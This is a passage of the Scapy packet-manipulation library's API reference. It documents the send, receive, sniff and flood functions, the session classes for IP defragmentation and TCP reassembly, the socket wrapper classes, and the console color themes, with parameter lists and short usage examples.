	count – number of packets to send (default None=1)


	verbose – verbose mode (default None=conf.verb)


	realtime – check that a packet was sent before sending the next one


	return_packets – return the sent packets


	socket – the socket to use (default is conf.L3socket(kargs))


	iface – the interface to send the packets on


	monitor – (not on linux) send in monitor mode






	Returns:

	None










	
scapy.sendrecv.sendp(x: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], iface: NetworkInterface | str | None = None, iface_hint: str | None = None, socket: SuperSocket | None = None, **kargs: Any) → PacketList | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L455-L486]

	Send packets at layer 2


	Parameters:

	
	x – the packets


	inter – time (in s) between two packets (default 0)


	loop – send packet indefinitely (default 0)


	count – number of packets to send (default None=1)


	verbose – verbose mode (default None=conf.verb)


	realtime – check that a packet was sent before sending the next one


	return_packets – return the sent packets


	socket – the socket to use (default is conf.L3socket(kargs))


	iface – the interface to send the packets on


	monitor – (not on linux) send in monitor mode






	Returns:

	None










	
scapy.sendrecv.sendpfast(x: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], pps: float | None = None, mbps: float | None = None, realtime: bool = False, count: int | None = None, loop: int = 0, file_cache: bool = False, iface: NetworkInterface | str | None = None, replay_args: List[str] | None = None, parse_results: bool = False) → Dict[str, Any] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L489-L564]

	Send packets at layer 2 using tcpreplay for performance


	Parameters:

	
	pps – packets per second


	mbps – MBits per second


	realtime – use packet’s timestamp, bending time with real-time value


	loop – send the packet indefinitely (default 0)


	count – number of packets to send (default None=1)


	file_cache – cache packets in RAM instead of reading from
disk at each iteration


	iface – output interface


	replay_args – List of additional tcpreplay args (List[str])


	parse_results – Return a dictionary of information
outputted by tcpreplay (default=False)






	Returns:

	stdout, stderr, command used










	
scapy.sendrecv.sndrcv(*args: Any, **kwargs: Any) → Tuple[SndRcvList, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L326-L333]

	Scapy raw function to send a packet and receive its answer.
WARNING: This is an internal function. Using sr/srp/sr1/srp is
more appropriate in many cases.






	
scapy.sendrecv.sndrcvflood(pks: SuperSocket, pkt: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], inter: int = 0, maxretries: int | None = None, verbose: int | None = None, chainCC: bool = False, timeout: int | None = None) → Tuple[SndRcvList, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L869-L886]

	sndrcv equivalent for flooding.






	
scapy.sendrecv.sniff(*args: Any, **kwargs: Any) → PacketList[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L1337-L1342]

	Sniff packets and return a list of packets.


	Parameters:

	
	count – number of packets to capture. 0 means infinity.


	store – whether to store sniffed packets or discard them


	prn – function to apply to each packet. If something is returned, it
is displayed.
–Ex: prn = lambda x: x.summary()


	session – a session = a flow decoder used to handle stream of packets.
–Ex: session=TCPSession
See below for more details.


	filter – BPF filter to apply.


	lfilter – Python function applied to each packet to determine if
further action may be done.
–Ex: lfilter = lambda x: x.haslayer(Padding)


	offline – PCAP file (or list of PCAP files) to read packets from,
instead of sniffing them


	quiet – when set to True, the process stderr is discarded
(default: False).


	timeout – stop sniffing after a given time (default: None).


	L2socket – use the provided L2socket (default: use conf.L2listen).


	opened_socket – provide an object (or a list of objects) ready to use
.recv() on.


	stop_filter – Python function applied to each packet to determine if
we have to stop the capture after this packet.
–Ex: stop_filter = lambda x: x.haslayer(TCP)


	iface – interface or list of interfaces (default: None for sniffing
on the default interface).


	monitor – use monitor mode. May not be available on all OS


	started_callback – called as soon as the sniffer starts sniffing
(default: None).








The iface, offline and opened_socket parameters can be either an
element, a list of elements, or a dict object mapping an element to a
label (see examples below).

For more information about the session argument, see
https://scapy.rtfd.io/en/latest/usage.html#advanced-sniffing-sniffing-sessions


	Examples: synchronous
	>>> sniff(filter="arp")
>>> sniff(filter="tcp",
...       session=IPSession,  # defragment on-the-flow
...       prn=lambda x: x.summary())
>>> sniff(lfilter=lambda pkt: ARP in pkt)
>>> sniff(iface="eth0", prn=Packet.summary)
>>> sniff(iface=["eth0", "mon0"],
...       prn=lambda pkt: "%s: %s" % (pkt.sniffed_on,
...                                   pkt.summary()))
>>> sniff(iface={"eth0": "Ethernet", "mon0": "Wifi"},
...       prn=lambda pkt: "%s: %s" % (pkt.sniffed_on,
...                                   pkt.summary()))







	Examples: asynchronous
	>>> t = AsyncSniffer(iface="enp0s3")
>>> t.start()
>>> time.sleep(1)
>>> print("nice weather today")
>>> t.stop()














	
scapy.sendrecv.sr(x: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], promisc: bool | None = None, filter: str | None = None, iface: NetworkInterface | str | None = None, nofilter: int = 0, *args: Any, **kargs: Any) → Tuple[SndRcvList, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L649-L669]

	Send and receive packets at layer 3


	Parameters:

	
	pks – SuperSocket instance to send/receive packets


	pkt – the packet to send


	timeout – how much time to wait after the last packet has been sent


	inter – delay between two packets during sending


	verbose – set verbosity level


	chainCC – if True, KeyboardInterrupts will be forwarded


	retry – if positive, how many times to resend unanswered packets
if negative, how many times to retry when no more packets
are answered


	multi – whether to accept multiple answers for the same stimulus


	rcv_pks – if set, will be used instead of pks to receive packets.
packets will still be sent through pks


	prebuild – pre-build the packets before starting to send them.
Automatically enabled when a generator is passed as the packet


	_flood – 


	threaded – if True, packets will be sent in an individual thread


	session – a flow decoder used to handle stream of packets


	chainEX – if True, exceptions during send will be forwarded













	
scapy.sendrecv.sr1(*args: Any, **kargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L672-L681]

	Send packets at layer 3 and return only the first answer


	Parameters:

	
	pks – SuperSocket instance to send/receive packets


	pkt – the packet to send


	timeout – how much time to wait after the last packet has been sent


	inter – delay between two packets during sending


	verbose – set verbosity level


	chainCC – if True, KeyboardInterrupts will be forwarded


	retry – if positive, how many times to resend unanswered packets
if negative, how many times to retry when no more packets
are answered


	multi – whether to accept multiple answers for the same stimulus


	rcv_pks – if set, will be used instead of pks to receive packets.
packets will still be sent through pks


	prebuild – pre-build the packets before starting to send them.
Automatically enabled when a generator is passed as the packet


	_flood – 


	threaded – if True, packets will be sent in an individual thread


	session – a flow decoder used to handle stream of packets


	chainEX – if True, exceptions during send will be forwarded













	
scapy.sendrecv.sr1flood(x: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], promisc: bool | None = None, filter: str | None = None, iface: NetworkInterface | str | None = None, nofilter: int = 0, *args: Any, **kargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L917-L944]

	Flood and receive packets at layer 3 and return only the first answer


	Parameters:

	
	prn – function applied to packets received


	verbose – set verbosity level


	nofilter – put 1 to avoid use of BPF filters


	filter – provide a BPF filter


	iface – listen answers only on the given interface













	
scapy.sendrecv.sr_func(*args: Any, **kargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L672-L681]

	Send packets at layer 3 and return only the first answer


	Parameters:

	
	pks – SuperSocket instance to send/receive packets


	pkt – the packet to send


	timeout – how much time to wait after the last packet has been sent


	inter – delay between two packets during sending


	verbose – set verbosity level


	chainCC – if True, KeyboardInterrupts will be forwarded


	retry – if positive, how many times to resend unanswered packets
if negative, how many times to retry when no more packets
are answered


	multi – whether to accept multiple answers for the same stimulus


	rcv_pks – if set, will be used instead of pks to receive packets.
packets will still be sent through pks


	prebuild – pre-build the packets before starting to send them.
Automatically enabled when a generator is passed as the packet


	_flood – 


	threaded – if True, packets will be sent in an individual thread


	session – a flow decoder used to handle stream of packets


	chainEX – if True, exceptions during send will be forwarded













	
scapy.sendrecv.srflood(x: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], promisc: bool | None = None, filter: str | None = None, iface: NetworkInterface | str | None = None, nofilter: bool | None = None, *args: Any, **kargs: Any) → Tuple[SndRcvList, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L889-L914]

	Flood and receive packets at layer 3


	Parameters:

	
	prn – function applied to packets received


	unique – only consider packets whose print


	nofilter – put 1 to avoid use of BPF filters


	filter – provide a BPF filter


	iface – listen answers only on the given interface













	
scapy.sendrecv.srloop(pkts: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], *args: Any, **kargs: Any) → Tuple[SndRcvList, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L802-L812]

	Send a packet at layer 3 in loop and print the answer each time
srloop(pkts, [prn], [inter], [count], …) –> None






	
scapy.sendrecv.srp(x: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], promisc: bool | None = None, iface: NetworkInterface | str | None = None, iface_hint: str | None = None, filter: str | None = None, nofilter: int = 0, type: int = 3, *args: Any, **kargs: Any) → Tuple[SndRcvList, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L684-L706]

	Send and receive packets at layer 2


	Parameters:

	
	pks – SuperSocket instance to send/receive packets


	pkt – the packet to send


	timeout – how much time to wait after the last packet has been sent


	inter – delay between two packets during sending


	verbose – set verbosity level


	chainCC – if True, KeyboardInterrupts will be forwarded


	retry – if positive, how many times to resend unanswered packets
if negative, how many times to retry when no more packets
are answered


	multi – whether to accept multiple answers for the same stimulus


	rcv_pks – if set, will be used instead of pks to receive packets.
packets will still be sent through pks


	prebuild – pre-build the packets before starting to send them.
Automatically enabled when a generator is passed as the packet


	_flood – 


	threaded – if True, packets will be sent in an individual thread


	session – a flow decoder used to handle stream of packets


	chainEX – if True, exceptions during send will be forwarded













	
scapy.sendrecv.srp1(*args: Any, **kargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L709-L718]

	Send and receive packets at layer 2 and return only the first answer


	Parameters:

	
	pks – SuperSocket instance to send/receive packets


	pkt – the packet to send


	timeout – how much time to wait after the last packet has been sent


	inter – delay between two packets during sending


	verbose – set verbosity level


	chainCC – if True, KeyboardInterrupts will be forwarded


	retry – if positive, how many times to resend unanswered packets
if negative, how many times to retry when no more packets
are answered


	multi – whether to accept multiple answers for the same stimulus


	rcv_pks – if set, will be used instead of pks to receive packets.
packets will still be sent through pks


	prebuild – pre-build the packets before starting to send them.
Automatically enabled when a generator is passed as the packet


	_flood – 


	threaded – if True, packets will be sent in an individual thread


	session – a flow decoder used to handle stream of packets


	chainEX – if True, exceptions during send will be forwarded













	
scapy.sendrecv.srp1flood(x: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], promisc: bool | None = None, filter: str | None = None, iface: NetworkInterface | str | None = None, nofilter: int = 0, *args: Any, **kargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L975-L999]

	Flood and receive packets at layer 2 and return only the first answer


	Parameters:

	
	prn – function applied to packets received


	verbose – set verbosity level


	nofilter – put 1 to avoid use of BPF filters


	filter – provide a BPF filter


	iface – listen answers only on the given interface













	
scapy.sendrecv.srpflood(x: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], promisc: bool | None = None, filter: str | None = None, iface: NetworkInterface | str | None = None, iface_hint: str | None = None, nofilter: bool | None = None, *args: Any, **kargs: Any) → Tuple[SndRcvList, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L947-L972]

	Flood and receive packets at layer 2


	Parameters:

	
	prn – function applied to packets received


	unique – only consider packets whose print


	nofilter – put 1 to avoid use of BPF filters


	filter – provide a BPF filter


	iface – listen answers only on the given interface













	
scapy.sendrecv.srploop(pkts: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], *args: Any, **kargs: Any) → Tuple[SndRcvList, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L815-L825]

	Send a packet at layer 2 in loop and print the answer each time
srloop(pkts, [prn], [inter], [count], …) –> None






	
scapy.sendrecv.tshark(*args: Any, **kargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L1446-L1470]

	Sniff packets and print them calling pkt.summary().
This tries to replicate what text-wireshark (tshark) would look like








            

          

      

      

    

  

    
      
          
            
  
scapy.sessions

Sessions: decode flow of packets when sniffing


	
class scapy.sessions.DefaultSession(supersession: Self | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/sessions.py#L37-L63]

	Bases: object

Default session: no stream decoding


	
process(pkt: Packet) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sessions.py#L45-L52]

	Called to pre-process the packet






	
recv(sock: SuperSocket) → Iterator[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/sessions.py#L54-L63]

	Will be called by sniff() to ask for a packet










	
class scapy.sessions.IPSession(*args: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/sessions.py#L66-L84]

	Bases: DefaultSession

Defragment IP packets ‘on-the-flow’.

Usage:
>>> sniff(session=IPSession)


	
process(packet: Packet) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sessions.py#L78-L84]

	








	
class scapy.sessions.StringBuffer[source] [https://github.com/secdev/scapy/blob/master/scapy/sessions.py#L87-L160]

	Bases: object

StringBuffer is an object used to re-order data received during
a TCP transmission.

Each TCP fragment contains a sequence number, which marks
(relatively to the first sequence number) the index of the data contained
in the fragment.

If a TCP fragment is missed, this class will fill the missing space with
zeros.


	
append(data: bytes, seq: int | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/sessions.py#L106-L129]

	




	
clear() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/sessions.py#L141-L143]

	




	
full() → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/sessions.py#L135-L139]

	




	
shiftleft(i: int) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/sessions.py#L131-L133]

	








	
class scapy.sessions.TCPSession(app: bool = False, *args: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/sessions.py#L177-L386]

	Bases: IPSession

A Session that reconstructs TCP streams.

NOTE: this has the same effect as wrapping a real socket.socket into StreamSocket,
but for all concurrent TCP streams (can be used on pcaps or sniffed sessions).

NOTE: only protocols that implement a tcp_reassemble function will be processed
by this session. Other protocols will not be reconstructed.

DEV: implement a class-function tcp_reassemble in your Packet class:

@classmethod
def tcp_reassemble(cls, data, metadata, session):
    # data = the reassembled data from the same request/flow
    # metadata = empty dictionary, that can be used to store data
    #            during TCP reassembly
    # session = a dictionary proper to the bidirectional TCP session,
    #           that can be used to store anything
    [...]
    # If the packet is available, return it. Otherwise don't.
    # Whenever you return a packet, the buffer will be discarded.
    return pkt
    # Otherwise, maybe store stuff in metadata, and return None,
    # as you need additional data.
    return None





For more details and a real example, see:
https://scapy.readthedocs.io/en/latest/usage.html#how-to-use-tcpsession-to-defragment-tcp-packets


	Parameters:

	app – Whether the socket is on application layer = has no TCP
layer. This is identical to StreamSocket so only use this if your
underlying source of data isn’t a socket.socket.






	
process(pkt: Packet, cls: Type[Packet] | None = None) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sessions.py#L258-L372]

	Process each packet: matches the TCP seq/ack numbers
to follow the TCP streams, and orders the fragments.






	
recv(sock: SuperSocket) → Iterator[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/sessions.py#L374-L386]

	Will be called by sniff() to ask for a packet










	
scapy.sessions.streamcls(cls: Type[Packet]) → Callable[[bytes, Dict[str, Any], Dict[str, Any]], Packet | None][source] [https://github.com/secdev/scapy/blob/master/scapy/sessions.py#L163-L174]

	Wraps a class for use when dissecting streams.








            

          

      

      

    

  

    
      
          
            
  
scapy.supersocket

SuperSocket.


	
class scapy.supersocket.IterSocket(obj: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet])[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L557-L599]

	Bases: SuperSocket


	
close() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L597-L599]

	




	
desc = 'wrapper around an iterable'

	




	
nonblocking_socket: bool = True

	




	
recv(x: int | None = None, **kwargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L589-L595]

	




	
static select(sockets: List[SuperSocket], remain: Any = None) → List[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L584-L587]

	








	
class scapy.supersocket.L2ListenTcpdump(iface: NetworkInterface | str | None = None, promisc: bool | None = None, filter: str | None = None, nofilter: bool = False, prog: str | None = None, quiet: bool = False, *arg: Any, **karg: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L500-L552]

	Bases: SuperSocket


	
close() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L542-L545]

	




	
desc = 'read packets at layer 2 using tcpdump'

	




	
recv(x: int = 65535, **kwargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L538-L540]

	




	
static select(sockets: List[SuperSocket], remain: float | None = None) → List[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L547-L552]

	








	
class scapy.supersocket.L3RawSocket(type: int = 2048, filter: str | None = None, iface: NetworkInterface | str | None = None, promisc: bool | None = None, nofilter: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L287-L375]

	Bases: SuperSocket


	
desc = 'Layer 3 using Raw sockets (PF_INET/SOCK_RAW)'

	




	
recv(x: int = 65535, **kwargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L322-L355]

	




	
send(x: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L357-L375]

	








	
class scapy.supersocket.L3RawSocket6(type: int = 34525, filter: str | None = None, iface: NetworkInterface | str | None = None, promisc: bool | None = None, nofilter: bool = False)[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L377-L395]

	Bases: L3RawSocket






	
class scapy.supersocket.SSLStreamSocket(sock: socket, basecls: Type[Packet] | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L470-L497]

	Bases: StreamSocket


	
desc = 'similar usage than StreamSocket but specialized for handling SSL-wrapped sockets'

	




	
recv(x: int | None = None, **kwargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L482-L497]

	








	
class scapy.supersocket.SimpleSocket(sock: socket, basecls: Type[Packet] | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L398-L419]

	Bases: SuperSocket


	
desc = 'wrapper around a classic socket'

	




	
recv_raw(x: int = 65535) → Tuple[Type[Packet] | None, bytes | None, float | None][source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L410-L412]

	








	
class scapy.supersocket.StreamSocket(sock: socket, basecls: Type[Packet] | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L422-L467]

	Bases: SimpleSocket

Wrap a stream socket into a layer 2 SuperSocket


	Parameters:

	
	sock – the socket to wrap


	basecls – the base class packet to use to dissect the packet









	
desc = 'transforms a stream socket into a layer 2'

	




	
recv(x: int | None = None, **kwargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L443-L467]

	








	
class scapy.supersocket.SuperSocket(family: int = AddressFamily.AF_INET, type: int = SocketKind.SOCK_STREAM, proto: int = 0, iface: NetworkInterface | str | None = None, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L85-L283]

	Bases: object


	
am(cls: Type[Any], *args: Any, **kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L240-L251]

	Creates an AnsweringMachine associated with this socket.


	Parameters:

	cls – A subclass of AnsweringMachine to instantiate










	
auxdata_available: bool = False

	




	
close() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L201-L212]

	




	
closed: bool = False

	




	
fileno() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L197-L199]

	




	
nonblocking_socket: bool = False

	




	
recv(x: int = 65535, **kwargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L178-L195]

	




	
recv_raw(x: int = 65535) → Tuple[Type[Packet] | None, bytes | None, float | None][source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L173-L176]

	Returns a tuple containing (cls, pkt_data, time)






	
static select(sockets: List[SuperSocket], remain: float | None = 0.05) → List[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L253-L269]

	This function is called during sendrecv() routine to select
the available sockets.


	Parameters:

	sockets – an array of sockets that need to be selected



	Returns:

	an array of sockets that were selected and
the function to be called next to get the packets (i.g. recv)










	
send(x: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L103-L114]

	




	
sniff(*args: Any, **kargs: Any) → PacketList[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L229-L232]

	




	
sr(*args: Any, **kargs: Any) → Tuple[SndRcvList, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L214-L217]

	




	
sr1(*args: Any, **kargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L219-L227]

	




	
tshark(*args: Any, **kargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L234-L237]

	








	
class scapy.supersocket.tpacket_auxdata[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L71-L80]

	Bases: Structure


	
tp_len

	Structure/Union member






	
tp_mac

	Structure/Union member






	
tp_net

	Structure/Union member






	
tp_snaplen

	Structure/Union member






	
tp_status

	Structure/Union member






	
tp_vlan_tci

	Structure/Union member






	
tp_vlan_tpid

	Structure/Union member












            

          

      

      

    

  

    
      
          
            
  
scapy.themes

Color themes for the interactive console.


	
class scapy.themes.AnsiColorTheme[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L161-L176]

	Bases: ColorTheme






	
class scapy.themes.BlackAndWhite[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L179-L180]

	Bases: AnsiColorTheme, NoTheme






	
class scapy.themes.BrightTheme[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L210-L228]

	Bases: AnsiColorTheme


	
style_emph_field_name = '\x1b[33m\x1b[1m'

	




	
style_emph_field_value = '\x1b[32m\x1b[1m'

	




	
style_even = '\x1b[30m\x1b[1m'

	




	
style_fail = '\x1b[31m\x1b[1m'

	




	
style_field_name = '\x1b[33m\x1b[1m'

	




	
style_field_value = '\x1b[35m\x1b[1m'

	




	
style_id = '\x1b[33m\x1b[1m'

	




	
style_layer_name = '\x1b[31m\x1b[1m'

	




	
style_left = '\x1b[36m\x1b[7m'

	




	
style_logo = '\x1b[32m\x1b[1m'

	




	
style_normal = '\x1b[0m'

	




	
style_odd = '\x1b[30m'

	




	
style_packetlist_name = '\x1b[31m\x1b[1m'

	




	
style_packetlist_proto = '\x1b[33m\x1b[1m'

	




	
style_packetlist_value = '\x1b[35m\x1b[1m'

	




	
style_punct = '\x1b[0m'

	




	
style_right = '\x1b[35m\x1b[7m'

	




	
style_success = '\x1b[34m\x1b[1m'

	








	
class scapy.themes.ColorOnBlackTheme[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L254-L278]

	Bases: AnsiColorTheme

Color theme for black backgrounds


	
style_active = '\x1b[37m\x1b[1m'

	




	
style_closed = '\x1b[30m\x1b[1m'

	




	
style_emph_field_name = '\x1b[36m\x1b[1m'

	




	
style_emph_field_value = '\x1b[31m\x1b[1m'

	




	
style_even = '\x1b[30m\x1b[1m'

	




	
style_fail = '\x1b[31m\x1b[1m'

	




	
style_field_name = '\x1b[36m'

	




	
style_field_value = '\x1b[35m\x1b[1m'

	




	
style_id = '\x1b[32m'

	




	
style_layer_name = '\x1b[33m\x1b[1m'

	




	
style_left = '\x1b[36m\x1b[1m'

	




	
style_logo = '\x1b[32m\x1b[1m'

	




	
style_normal = '\x1b[0m'

	




	
style_not_printable = '\x1b[30m\x1b[1m'

	




	
style_odd = '\x1b[37m'

	




	
style_opening = '\x1b[33m'

	




	
style_packetlist_name = '\x1b[30m\x1b[1m'

	




	
style_packetlist_proto = '\x1b[33m\x1b[1m'

	




	
style_packetlist_value = '\x1b[35m\x1b[1m'

	




	
style_prompt = '\x1b[32m\x1b[1m'

	




	
style_punct = '\x1b[0m'

	




	
style_right = '\x1b[31m\x1b[1m'

	




	
style_success = '\x1b[32m'

	








	
class scapy.themes.ColorTable[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L27-L74]

	Bases: object


	
ansi_to_pygments(x: str) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L67-L74]

	Transform ansi encoded text to Pygments text






	
colors = {'bg_black': ('\x1b[40m', 'bg:#ansiblack'), 'bg_blue': ('\x1b[44m', 'bg:#ansiblue'), 'bg_cyan': ('\x1b[46m', 'bg:#ansicyan'), 'bg_green': ('\x1b[42m', 'bg:#ansigreen'), 'bg_purple': ('\x1b[45m', 'bg:#ansipurple'), 'bg_red': ('\x1b[41m', 'bg:#ansired'), 'bg_reset': ('\x1b[49m', 'noinherit'), 'bg_white': ('\x1b[47m', 'bg:#ansiwhite'), 'bg_yellow': ('\x1b[43m', 'bg:#ansiyellow'), 'black': ('\x1b[30m', '#ansiblack'), 'blink': ('\x1b[5m', ''), 'blue': ('\x1b[34m', '#ansiblue'), 'bold': ('\x1b[1m', 'bold'), 'cyan': ('\x1b[36m', '#ansicyan'), 'green': ('\x1b[32m', '#ansigreen'), 'grey': ('\x1b[38;5;246m', '#ansiwhite'), 'invert': ('\x1b[7m', ''), 'normal': ('\x1b[0m', 'noinherit'), 'purple': ('\x1b[35m', '#ansipurple'), 'red': ('\x1b[31m', '#ansired'), 'reset': ('\x1b[39m', 'noinherit'), 'uline': ('\x1b[4m', 'underline'), 'white': ('\x1b[37m', '#ansiwhite'), 'yellow': ('\x1b[33m', '#ansiyellow')}

	




	
inv_map = {'\x1b[0m': 'noinherit', '\x1b[1m': 'bold', '\x1b[30m': '#ansiblack', '\x1b[31m': '#ansired', '\x1b[32m': '#ansigreen', '\x1b[33m': '#ansiyellow', '\x1b[34m': '#ansiblue', '\x1b[35m': '#ansipurple', '\x1b[36m': '#ansicyan', '\x1b[37m': '#ansiwhite', '\x1b[38;5;246m': '#ansiwhite', '\x1b[39m': 'noinherit', '\x1b[40m': 'bg:#ansiblack', '\x1b[41m': 'bg:#ansired', '\x1b[42m': 'bg:#ansigreen', '\x1b[43m': 'bg:#ansiyellow', '\x1b[44m': 'bg:#ansiblue', '\x1b[45m': 'bg:#ansipurple', '\x1b[46m': 'bg:#ansicyan', '\x1b[47m': 'bg:#ansiwhite', '\x1b[49m': 'noinherit', '\x1b[4m': 'underline', '\x1b[5m': '', '\x1b[7m': ''}

	








	
class scapy.themes.ColorTheme[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L109-L154]

	Bases: object


	
format(string: str, fmt: str) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L150-L154]

	




	
style_active = ''

	




	
style_closed = ''

	




	
style_depreciate_field_name = ''

	




	
style_emph_field_name = ''

	




	
style_emph_field_value = ''

	




	
style_even = ''

	




	
style_fail = ''

	




	
style_field_name = ''

	




	
style_field_value = ''

	




	
style_id = ''

	




	
style_layer_name = ''

	




	
style_left = ''

	




	
style_logo = ''

	




	
style_normal = ''

	




	
style_not_printable = ''

	




	
style_odd = ''

	




	
style_opening = ''

	




	
style_packetlist_name = ''

	




	
style_packetlist_proto = ''

	




	
style_packetlist_value = ''

	




	
style_prompt = ''

	




	
style_punct = ''

	




	
style_right = ''

	




	
style_success = ''

	








	
class scapy.themes.DefaultTheme[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L183-L207]

	Bases: AnsiColorTheme


	
style_active = '\x1b[30m'

	




	
style_closed = '\x1b[37m'

	




	
style_depreciate_field_name = '\x1b[38;5;246m'

	




	
style_emph_field_name = '\x1b[34m\x1b[4m\x1b[1m'

	




	
style_emph_field_value = '\x1b[35m\x1b[4m\x1b[1m'

	




	
style_even = '\x1b[30m\x1b[1m'

	




	
style_fail = '\x1b[31m\x1b[1m'

	




	
style_field_name = '\x1b[34m'

	




	
style_field_value = '\x1b[35m'

	




	
style_id = '\x1b[34m\x1b[1m'

	




	
style_layer_name = '\x1b[31m\x1b[1m'

	




	
style_left = '\x1b[34m\x1b[7m'

	




	
style_logo = '\x1b[32m\x1b[1m'

	




	
style_normal = '\x1b[0m'

	




	
style_not_printable = '\x1b[37m'

	




	
style_odd = '\x1b[30m'

	




	
style_opening = '\x1b[33m'

	




	
style_packetlist_name = '\x1b[31m\x1b[1m'

	




	
style_packetlist_proto = '\x1b[34m'

	




	
style_packetlist_value = '\x1b[35m'

	




	
style_prompt = '\x1b[34m\x1b[1m'

	




	
style_punct = '\x1b[0m'

	




	
style_right = '\x1b[31m\x1b[7m'

	




	
style_success = '\x1b[34m\x1b[1m'

	








	
class scapy.themes.FormatTheme[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L281-L286]

	Bases: ColorTheme






	
class scapy.themes.HTMLTheme[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L341-L357]

	Bases: FormatTheme


	
style_emph_field_name = '<span class=emph_field_name>%s</span>'

	




	
style_emph_field_value = '<span class=emph_field_value>%s</span>'

	




	
style_even = '<span class=even>%s</span>'

	




	
style_fail = '<span class=fail>%s</span>'

	




	
style_field_name = '<span class=field_name>%s</span>'

	




	
style_field_value = '<span class=field_value>%s</span>'

	




	
style_layer_name = '<span class=layer_name>%s</span>'

	




	
